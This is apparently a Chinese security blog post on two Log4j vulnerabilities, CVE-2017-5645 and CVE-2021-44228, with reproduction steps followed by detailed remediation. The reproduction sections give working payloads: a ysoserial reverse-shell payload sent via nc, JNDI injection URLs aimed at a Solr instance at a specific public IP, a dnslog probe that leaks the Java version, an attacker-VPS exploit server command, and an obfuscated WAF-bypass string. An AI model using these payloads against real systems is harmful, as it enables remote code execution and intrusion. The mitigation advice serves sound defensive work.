总字符数: 5.50K
代码: 1.19K, 文本: 1.66K
预计阅读时间: 12 分钟
Apache Log4j Server 反序列化命令执行(CVE-2017-5645)
漏洞概述
Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器.Apache Log4j 2.8.2之 前的2.x版本中存在安全漏洞.攻击者可利用该漏洞执行任意代码.
利用版本:
- Log4j 2.x<=2.8.1
漏洞复现
- 需要下载nc并且配置环境变量
- 然后使用ysoserial生成payload,然后直接发送给your-ip:4712端口即可
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 "bash -c {echo,YOUR-BASE64-ENCODE}|{base64,-d}|{bash,-i}" | nc 192.168.2.187 4712
修复建议
- 使用Java 7+的用户应立即升级至2.8.2版本或者避免使用socket server的相关类,参考链接 ;
- 使用Java 6的用户应该避免使用TCP或者UDP 的socket server相关类,用户也可以手动添加2.8.2版本更新的相关代码来解决该漏洞;
- 目前官方发布了2.9最新版本 ,强烈建议更新到最新版本.
Apache Log4j2 lookup JNDI 注入(CVE-2021-44228)
漏洞概述
利用版本:
- 2.0到2.14.1版本
漏洞复现
- 漏洞触发点:
http://103.116.46.7:8983/solr/admin/cores?action=
- 漏洞探测:
http://103.116.46.7:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.sxy8s9.dnslog.cn}
- 下载工具进行反弹shell
wget https://security-1258894728.cos.ap-beijing.myqcloud.com/writeup/vulhub/log4j/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
- 运行
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YOUR-BASE64-ENCODE}|{base64,-d}|{bash,-i}" -A "YOUR-ATTACK-VPS-IP"
- 方式一:网址输入:
http://103.116.46.7:8983/solr/admin/cores?action=${jndi:ldap://YOUR-ATTACK-VPS-IP:1389/Exploit}
- 方式二将上方抓包改为POST传参
- 结果
修复建议
将 log4j-core 升级到 2.15.0 版本
接入安全产品
第一时间上WAF规则、RASP拦截等措施,给修复争取时间.
但是也要注意一些静态规则上的绕过,log4j 支持的写法比较多,有非常多绕过姿势.比如:
1 | ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc} |
删除漏洞类
通过删除漏洞类进行修复的方案比较稳,也是官方推荐的一种修复方案.直接删除 log4j jar 包中存在漏洞的类:
1 | zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class |
这种修复比较方便快捷,一般业务代码也不会用到 jndi lookup 这个功能.不过可能会对基于版本号判定的安全数据采集造成一定困扰,无法准确统计漏洞的最新受影响情况.建议删除之后在 jar 包后面加上一定的标记,如: log4j-2.14.1.sec.jar
另外,由于某些原因不想删除的话,可以自己代码替换原始的 JndiLookup 类,将它加到业务代码中.需要注意的是,必须保证它在 log4j 原类之前加载.
1 | package org.apache.logging.log4j.core.lookup; |
也可以做成依赖包,在 log4j-core 之前添加,可以实现同样的效果(注意不要引入不可信的第三方依赖,可能导致潜在安全风险,以下配置来源互联网,仅作为示例,请勿直接使用):
1 | <dependency> |
当然也可以通过RASP的方式干掉漏洞类,Github上有不少RASP的无损修复方案,比如:
通过配置禁用 log4j 的 lookup 功能
禁用的方式就比较多了.然而下面2、3、4这几种方式对低于 2.10 版本的 log4j-core 都没有效果,而且环境变量和启动参数这种设置,在迁移或者变更的过程中丢失的可能性比较大.log4j 在 2.15.0 版本中默认就已经关闭了 lookup 功能.
log4j2.component.properties、log4j2.xml 默认放在 ClassPath 路径下,如:源代码的资源目录或者可执行程序所在的当前目录.
设置日志输出 Pattern 格式
对于 >=2.7 的版本,在 log4j 中对每一个日志输出格式进行修改.在 %msg 占位符后面添加 {nolookups},这种方式的适用范围比其他三种配置更广.比如在 log4j2.xml 中配置:
1 |
|
设置JVM系统属性
在 Java 应用启动参数中增加 -Dlog4j2.formatMsgNoLookups=true,或者在业务代码中设置系统属性:
1 | // 必须在 log4j 实例化之前设置该系统属性 |
修改配置文件
在配置文件 log4j2.component.properties 中增加:log4j2.formatMsgNoLookups=true,配置文件放置于应用程序的 ClassPath 路径下.
设置进程环境变量
在环境变量中增加:LOG4J_FORMAT_MSG_NO_LOOKUPS=true
注意!这些配置和属性,并不能在所有场景下生效,比如在 logstash 中就无法生效: Solutions and Mitigations: The widespread flag -Dlog4j2.formatMsgNoLookups=true does NOT mitigate the vulnerability in Logstash, as Logstash uses Log4j in a way where the flag has no effect. It is therefore necessary to remove the JndiLookup class from the log4j2 core jar, with the following command:
zip -q -d /logstash-core/lib/jars/log4j-core-2.* org/apache/logging/log4j/core/lookup/JndiLookup.class
升级JDK版本
对于Oracle JDK 11.0.1、8u191、7u201、6u211或者更高版本的JDK来说,默认就已经禁用了 RMI Reference、LDAP Reference 的远程加载.对于 RCE 来说,可以起到很直接的缓解作用,可以作为增强型的加固方案.
在高版本JDK环境下,JNDI注入也还是存在一定RCE风险,可以参考这篇文章:
另外 log4j 漏洞本身除了 RCE,还存在着巨大的攻击面,比如 SSRF、敏感信息泄露等等,威胁非常大,不要企图仅仅通过升级JDK版本来修复漏洞,建议还是老老实实升级.